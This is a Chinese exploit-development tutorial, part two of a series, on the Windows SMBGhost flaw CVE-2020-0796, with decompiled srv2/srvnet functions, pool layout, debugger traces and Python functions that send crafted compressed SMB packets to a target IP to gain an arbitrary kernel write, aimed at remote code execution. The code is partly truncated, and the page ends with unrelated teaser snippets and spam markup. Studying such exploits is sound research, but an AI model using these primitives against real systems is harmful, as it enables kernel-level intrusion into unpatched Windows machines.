<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一步一步教你漏洞挖掘之Windows SMB Ghost CVE-2020-0796(二)

    VSole2021-10-05 09:25:49

    接上文:

    漏洞利用之本地提權

    由于本地提權不是本文關注的重點,因此也就不作詳細分析了,這里僅根據 ZecOps 的分析文章,梳理了其使用的一些關鍵技術和相關參考鏈接:

    1. 實現任意地址寫

    Write-What-Where CVE-2020-0796 Exploit
    https://github.com/ZecOps/CVE-2020-0796-LPE-POC/blob/master/write_what_where.py

    2. 基于win32kbase.sys函數指針復寫的提權技術(要求目標為GUI線程,可惜SMB不是)

    Black Hat USA 2017 talk (Morten Schenk)
    https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level–Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf
    Exploiting a Windows 10 PagedPool off-by-one overflow (WCTF 2018)
    https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/

    3. 利用NtQuerySystemInformation實現進程token泄露

    Easy Local Windows Kernel Exploitation (cesarcer)
    https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
    Abusing Token Privileges For EoP
    https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt

    4. 利用向winlogon.exe注入DLL實現本地提權

    Exploiting an Arbitrary Write to Escalate Privileges - Segfault
    https://segfault.me/2019/05/24/exploiting-an-arbitrary-write-to-escalate-privileges/

    漏洞利用之遠程命令執行(一)

    正式開始前,需要先熟知SMB2使用的壓縮頭數據結構,根據:

    微軟SMB2官方文檔
    https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0

    SMB2中的COMPRESSION_TRANSFORM_HEADER結構定義如下:

    • ProtocolId (4 bytes): 固定值0x424D53FC
    • OriginalCompressedSegmentSize (4 bytes): 非壓縮數據區的大小(字節數)
    • CompressionAlgorithm (2 bytes): 壓縮算法
    • Flags (2 bytes): 0x0000或者0x0001,用于指明是否支持壓縮鏈
    • Offset/Length (4 bytes): 根據Flags的值,如果Flags為1,則代表壓縮區的大小;如果Flags為0,則代表壓縮區的起始偏移

    結合Srv2DecompressData函數,我們可以發現用戶可以完全控制OriginalCompressedSegmentSize和Offset,這個條件應當算是相當不錯了,但是距離實現真正的遠程代碼執行(RCE)還有很長的路要走。

    首先我們來規劃一下實現RCE的技術路線(目前能想到的一些障礙),后面看進展情況,能實現多少算多少:

    1. 實現任意地址寫入:作為后續操作的基礎
    2. 實現任意地址讀取:繞過地址隨機化(ASLR)必備
    3. 突破DEP防護
    4. 截獲程序控制流(控制RIP)
    5. 突破控制流防護(CFG)
    6. 內核shellcode和用戶態shellcode
    7. 實現RCE

    0x01 實現任意地址寫入

    通過漏洞原理分析,我們知道目標程序中有多個可利用的漏洞點,而實現任意地址寫入的關鍵是要篡改內存拷貝過程中的目的地址和控制源數據。因此整個過程可以按照如下過程進行:

    1. 找到可以進行內存拷貝的位置
    2. 利用溢出實現目的地址的篡改
    3. 利用內存拷貝實現任意地址寫入

    (1)尋找內存拷貝函數

    我們非常幸運,漏洞函數中就有一處可用的內存拷貝,我們再仔細看一下srv2!Srv2DecompressData這個存在漏洞的函數:

    NTSTATUS Srv2DecompressData(PHEADER Header, SIZE_T TotalSize) {    PSRVNET_BUFFER_HDR Alloc = SrvNetAllocateBuffer(        // [A] 整數溢出點        (ULONG)(Header->OriginalSize + Header->Offset), NULL);    ……    // [B] 緩沖區溢出點(多個)    NTSTATUS Status = SmbCompressionDecompress(        Header->CompressionAlgorithm,        (PUCHAR)Header + sizeof(HEADER) + Header->Offset,        (ULONG)(TotalSize - sizeof(HEADER) - Header->Offset),        (PUCHAR)Alloc->UserBuffer + Header->Offset,        Header->OriginalSize,        &FinalCompressedSize);    if (Status < 0 ||         FinalCompressedSize != Header->OriginalSize) {        SrvNetFreeBuffer(Alloc);         return STATUS_BAD_DATA;    }    ……    if ( compressHeader.offsetOrLength ) {        // [C] 緩沖區溢出點        memmove(Alloc->UserBuffer,                 (PUCHAR)Header + sizeof(HEADER),                 Header->Offset);    }    ……}
    

    該函中比較明顯的溢出點有3處:

    1. 溢出點為整數溢出,如果兩數之和超過0xffffffff,將發生整數溢出,導致申請一個超小的內存空間
    2. 溢出點是SmbCompressionDecompress函數2個參數(第10和12行)存在緩沖區溢出,另外1個參數(第11行)存在整數溢出
    3. 溢出點比較明顯,是典型的緩沖區溢出

    對于3處的內存拷貝過程,從上面對內存塊結構的分析,我們可以發現目的地址Alloc->UserBuffer就存放在申請的SRVNET_BUFFER_HDR結構體中,源地址指向用戶數據包中的數據,拷貝長度也是用戶指定的。而目的地址我們可以通過溢出點[B]來任意改寫,也就是說我們能夠實現任意地址寫啦!

    (2)目的地址篡改

    現有的條件就是上述溢出點,我們需要找到有用的對象來溢出,并控制一些有用的字段。其中3處溢出點如果可以利用,應該是最方便的。為此,我們可以先分析一下Alloc->UserBuffer指向的內存區域及其后續的對象。

    現在我們需要詳細分析SrvNetAllocateBuffer所做的工作了,這里我們繼續偷懶盜用 ZecOps 的逆向結果(做了一些小改動):

    PSRVNET_BUFFER_HDR SrvNetAllocateBuffer(    SIZE_T AllocSize, PSRVNET_BUFFER_HDR SourceBuffer){    // ...    if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {        if (AllocSize > 0x1000100) {            return NULL;        }        // 申請超大內存,則直接從pool中申請        Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);    } else {        int LookasideListIndex = 0;        if (AllocSize > 0x1100) {            LookasideListIndex = /* 計算index */;        }        SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];        Result = ExpInterlockedPopEntrySList((PSLIST_HEADER)list.header);        if (!Result) {            // 實際調用函數:PplGenericAllocateFunction()            Result = list.some_alloc_func();         }    }    // 后續的初始化操作...}
    

    可見該函數在申請內存時使用了LookasideList,具體來說可以根據申請的大小分為4種情況:

    1. 當AllocSize > 0x1000100,申請失敗;
    2. 當AllocSize > 0x100100,使用`SrvNetAllocateBufferFromPool`直接申請;
    3. 當AllocSize > 0x1100,計算LookasideListIndex,并從SrvNetBufferLookasides數組中查找是否存在可用的內存塊,如果找到則直接使用該內存塊,否則就調用PplGenericAllocateFunction,最終是通過SrvNetAllocateBufferFromPool完成內存的申請;
    4. 當AllocSize<=0x1100,則LookasideListIndex=0,處理過程同3。

    調試器中,該過程的調用棧如下:

    1: kd> kc # Call Site00 srvnet!SrvNetAllocateBufferFromPool01 srvnet!SrvNetBufferLookasideAllocate02 srvnet!PplGenericAllocateFunction03 srvnet!SrvNetAllocateBuffer04 srv2!Srv2DecompressData05 srv2!Srv2DecompressMessageAsync
    

    其中srvnet!PplGenericAllocateFunction和srvnet!SrvNetBufferLookasideAllocate并沒有什么實際的操作,所以我們直接看srvnet!SrvNetAllocateBufferFromPool,該函數的簡化版本如下:

    PSRVNET_BUFFER_HDR SrvNetAllocateBufferFromPool(    int64 unused_size, uint64 size){    ...    sizeOfHeaderAndBuf = size + 0xE8;    sizeOfMDL = MmSizeOfMdl(0, size + 0xE8);    sizeOfMDLAligned = sizeOfMDL + 8;    sizeOfMDLs = 2 * sizeOfMDLAligned;    allocSize = sizeOfMDLs + sizeOfHeaderAndBuf;    ...    pNonPagedPoolAddr = (BYTE *)ExAllocatePoolWithTag(        (POOL_TYPE)512, allocSize, 0x3030534C);    ...    userBuffer = pNonPagedPoolAddr + 0x50;    pMDL1 = pNonPagedPoolAddr + 0x90;        // SRVNET_BUFFER_HDR 數據結構    hd = (PSRVNET_BUFFER_HDR)(pNonPagedPoolAddr + size + 0x50);    hd->UserBuffer = pNonPagedPoolAddr + 0x50; // header+0x18    hd->userSize = (DOWRD)size;                // header+0x20    hd->allocSize = (DOWRD)allocSize;          // header+0x28    hd->pNonPagedPoolAddr = pNonPagedPoolAddr; // header+0x30    hd->pMDL1 = pMDL1;                         // header+0x38     // MDL數據結構    pMDL1->userBufferAligned = userBuffer & 0xff...f000;    pMDL1->userBufferOffset = (DOWRD)userBuffer & 0xfff;    pMDL1->userSize = (DOWRD)size;                          ...    return hd;}
    

    通過對該函數的分析,我們可以了解申請的內存塊的結構如下:

    |---------------|   <--- ExAllocatePoolWithTag 的返回地址| unknown data  ||  0x50 bytes   ||---------------|   <--- Alloc->UserBuffer| user data     |        | 0x1100 bytes  ||---------------|   <--- 返回值 Alloc , SRVNET_BUFFER_HDR| Header struct |        +0x18 Alloc->UserBuffer| 0x90 bytes    |        +0x38 pMDL1|---------------|   <--- pMDL1| MDL1          |        +0x20 Alloc->UserBuffer & 0xff..f000| 0x48 bytes    ||---------------|   <--- pMDL2| MDL2          |        +0x20 Alloc->UserBuffer & 0xff..f000| 0x48 bytes    ||---------------|
    

    回到srv2!Srv2DecompressData函數中,通過整數溢出1和溢出點2,看看我們能夠做什么?

    PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(    // [A] 整數溢出點    (ULONG)(Header->OriginalSize + Header->Offset), NULL);
    

    利用1的整數溢出,我們可以使申請的內存長度小于實際的需求量,然后在SmbCompressionDecompress函數中,進行數據解壓和拷貝時發生緩沖區溢出,由于用戶數據區位于SRVNET_BUFFER_HDR的前面,因此我們能夠將任意長度的可控數據覆蓋SRVNET_BUFFER_HDR結構體,也就是說實現目的地址的篡改。測試一下:

    def write_primitive_test1(ip, port):    sock = reconnect(ip, port)    smb_negotiate(sock)    sock.recv(1000)    # 壓縮數據長度超過了申請的緩沖區,造成溢出    uncompressed_data = b"\x41"*(0x1100 + 0x90)    compressed_data = compress(uncompressed_data)    smb_compress(sock, compressed_data, 0xFFFFFFFF, b"\x00")    sock.close()
    

    (3)實現任意地址寫入

    // [C] 緩沖區溢出點memmove(Alloc->UserBuffer,               (PUCHAR)Header + sizeof(HEADER),     Header->Offset);
    

    從上面對內存塊結構的分析,我們可以發現目的地址Alloc->UserBuffer就存放在申請的結構體中,源地址指向用戶數據包中的數據,拷貝長度也是用戶指定的。而目的地址我們可以通過溢出點2來任意改寫。

    假設我們想要將指定長度的數據寫入指定地址,我們可以將OriginalSize設置為`0xffffffff`,將Offset(代表非壓縮數據的長度)設置為0x100,準備壓縮數據的長度為0x1100+0x18+8(數據由0x1100的"A",0x18的"B",8字節的目的地址0x4141414141414141組成),準備非壓縮數據的長度為0x100。

    def write_primitive_test2(ip, port):    sock = reconnect(ip, port)    smb_negotiate(sock)    sock.recv(1000)    data = b"\x90"*0x100 # 準備的源數據    addr = 0x4141414141414141 # 目的地址        # 壓縮數據填充申請的空間    uncompressed_data = b"\x41"*(0x1100 - len(data))    # 壓縮數據溢出,并開始覆蓋 ALLOCATION_HEADER    uncompressed_data += b"\x42"*0x18    # 壓縮數據溢出,并覆蓋 Alloc->UserBuffer    uncompressed_data += struct.pack(', addr)        compressed_data = compress(uncompressed_data)    smb_compress(sock, compressed_data, 0xFFFFFFFF, data)    sock.close()
    

    發送的惡意數據包前段是非壓縮數據,后段是壓縮數據:

    通過調試器看一下內存情況(紅色地址為SRVNET_BUFFER_HDR,藍色地址為Alloc->UserBuffer),在解壓縮數據包前,SRVNET_BUFFER_HDR未被破壞:

    加壓縮數據包后,SRVNET_BUFFER_HDR已被破壞,Alloc->UserBuffer被改寫為0x4141414141414141:


    繼續執行至memcpy,確實按照我們的預期準備向異常地址寫入我們指定的內容:


    至此我們成功獲得了任意地址寫入的能力,構建寫原語:

    def write_primitive(ip, port, data, addr):    sock = reconnect(ip, port)    smb_negotiate(sock)    sock.recv(1000)    uncompressed_data = b"\x41"*(0x1100 - len(data))    uncompressed_data += b"\x00"*0x18    uncompressed_data += struct.pack('    compressed_data = compress(uncompressed_data)    smb_compress(sock, compressed_data, 0xFFFFFFFF, data)    sock.close()
    

    至此,我們分析了實現任意地址寫入,下一篇我們將繼續深入分析任意地址讀。

    offsetheader
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Windows SMB Ghost CVE-2020-0796漏洞分析與利用(一)
    由于init函數是linker調用的,所以沒法做加密。所以我們合理懷疑初始化函數位置找錯了。其實之所以會搞錯,是因為錯誤的section header干擾了ida的解析。這通常是因為代碼中有花指令的緣故,我們要考慮去除花指令了。所以有理由懷疑,這里就是花指令,用來干擾ida解析的。執行完后再加上0x20,棧是平衡的。所以我們確信,中間的ret部分就是花指令。
    musl libc 是一個專門為嵌入式系統開發的輕量級 libc 庫,以簡單、輕量和高效率為特色。
    本題來源于DefCon Quals 2021的mooosl,考察點是最新版本musl libc 1.2.2利用。
    所謂“殺豬盤”,是指詐騙分子利用網絡交友通常是“異性”交友,誘導受害人下載詐騙APP并在上面進行各種“投資”,如菠菜、股票、期貨甚至虛擬貨幣的網絡詐騙。今年某月某日小白就遭遇了這種騙局,他先是被騙子通過QQ添加并下載了一個名為”心動“的APP,在“心動“APP上結識了位名為“xx老師”的美女小白被美色迷了眼打算相約這名網友,但是美女則借口讓他下載另一個名為午夜樂園的APP進行投資,果不其然小白被成
    跟php pwn一樣,以前遇到這樣的pwn直接都不看的,經過了解之后發現,老版本的Musl libc和新版本之間差距還比較大。結合最近幾次比賽中出現的Musl pwn,學習一下新老版本的Musl libc姿勢。
    加密算法共4種,第二個任務注冊機,缺一個算法的解密算法,其他三個算法均已寫好C實現的解密算法。隨后在xxx函數通過frida分析找到XTEA加密,然后用frida在內存中找到并提取了密鑰。Dump && Recover IL2CPP雖然用修改后的frida去hook libsec2023.so仍然會被檢測,但是hook其他庫沒有出現問題。
    文中使用的示例代碼可以從 這里 獲取。的功能是在終端打印出hello這6個字符(包括結尾的?編譯它們分別生成libtest.so和?存在嚴重的內存泄露問題,每調用一次say_hello函數,就會泄露1024字節的內存。
    一個先進的跨平臺工具,可以自動檢測和利用SQL注入漏洞,支持布爾注入、時間注入、報錯注入、堆疊查詢,支持的數據庫有MySQL,Microsoft SQL Server,Postgre,Oracle,支持的注入類型有GET、POST、COOKies等。
    head&key采用的XOR&Rotate加密,payload采用AES&ZLIB加密壓縮。最后發送至C2的數據包仍以上述結構組成,其中payload 經解密為上述指令執行的結果。Buni的通信流量特征與RotaJakiro相似度較低。Buni指令碼為WORD類型,未發現指令碼共享。研究人員將Buni后門歸因為海蓮花的主要原因是其與RotaJakiro后門存在相似之處。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类